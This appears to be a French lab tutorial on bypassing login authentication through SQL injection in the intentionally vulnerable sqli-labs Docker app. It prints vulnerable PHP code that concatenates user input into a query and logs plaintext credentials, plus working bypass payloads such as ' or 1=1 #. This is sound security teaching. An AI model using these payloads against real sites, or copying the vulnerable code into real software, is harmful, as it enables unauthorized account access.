Exploitation de l'injection SQL pour contourner l'authentification
Dans ce laboratoire (lab), nous allons approfondir les vulnérabilités d'injection SQL. Nous nous concentrerons sur la manière d'exploiter ces vulnérabilités pour contourner l'authentification de connexion, une technique souvent appelée l'attaque du "mot de passe universel".
Préparation de l'environnement de laboratoire
Pour commencer, nous devons préparer notre environnement de laboratoire. Nous allons utiliser l'application web Damn Vulnerable Web Application (DVWA) - une application web PHP/MySQL conçue pour être intentionnellement vulnérable, ce qui en fait un outil d'apprentissage idéal pour comprendre la sécurité des applications web.
-
Télécharger l'image Docker sqli - labs : L'image Docker sqli - labs est disponible pour téléchargement sur Docker Hub. Utilisez la commande suivante dans votre terminal pour la télécharger :
docker pull acgpiano/sqli - labs
-
Lancer le conteneur Docker sqli - labs : Après avoir téléchargé l'image, exécutez - la en utilisant la commande ci - dessous :
docker run -it -d --name sqli - labs -p 80:80 -p 13306:3306 acgpiano/sqli - labs
Cette commande lance un nouveau conteneur et mappe le port 80 et 3306 du conteneur aux ports 80 et 13306 de votre machine hôte, respectivement.
En suivant ces étapes, vous avez correctement configuré l'environnement de laboratoire nécessaire.
Une fois la configuration terminée, ouvrez Firefox et tapez http://localhost
dans la barre d'adresse.
Si c'est la première fois que vous visitez http://localhost
, cliquez sur Setup/reset Database for lab
pour préparer le laboratoire, puis actualisez la page web.
Identification de l'injection SQL
Vous devriez maintenant voir une page de connexion simple lorsque vous cliquez sur Less - 11. Essayez d'entrer un nom d'utilisateur arbitraire 123
et un mot de passe 123
.
La page d'erreur vous informera "Invalid username or password."
Décryptage du code backend
Examinons le code backend responsable du processus d'authentification :
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname);
fwrite($fp,'Password:'.$passwd."\n");
fclose($fp);
// connectivity
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
....
}
La requête SQL réelle qui est exécutée est :
SELECT * FROM users WHERE username='123' AND password='123' LIMIT 0,1
Cette requête est simple à comprendre : si elle retourne une ligne où le username
et le password
correspondent, alors la connexion est réussie.
Exploitation de la vulnérabilité
En nous appuyant sur les connaissances acquises dans le laboratoire précédent, essayons d'entrer la charge utile (payload) suivante :
Nom d'utilisateur : 123' or 1=1 #
Mot de passe : 123' or 1=1 #
Curieusement, cela nous permet de nous connecter avec succès! La raison en est que la requête SQL réelle qui est exécutée est :
SELECT * FROM users WHERE username='123' or 1=1 #' AND password='123' or 1=1 #'
En MySQL, le symbole #
est utilisé pour commenter le reste de la ligne, donc la requête devient en fait :
SELECT * FROM users WHERE username='123' or 1=1
Étant donné que la condition or 1=1
est toujours vraie, la requête retournera toujours un résultat, ce qui entraîne une connexion réussie.
Nous pouvons également expérimenter une variante qui n'utilise pas le symbole de commentaire :
Nom d'utilisateur : 123' or '1'='1
Mot de passe : 123' or '1'='1
La requête SQL qui est exécutée est alors :
SELECT * FROM users WHERE username='123' or '1'='1' AND password='123' or '1'='1'
Dans ce cas, les deux conditions or
garantissent que la condition and
entre elles est toujours vraie, ce qui entraîne une connexion réussie.
Conclusion
Comme démontré ci - dessus, il existe de nombreuses techniques pour exploiter les vulnérabilités d'injection SQL et contourner l'authentification. N'hésitez pas à explorer et à expérimenter avec différentes charges utiles. L'objectif ici est de comprendre ces vulnérabilités afin de mieux protéger vos propres applications contre elles. Bon hacking éthique!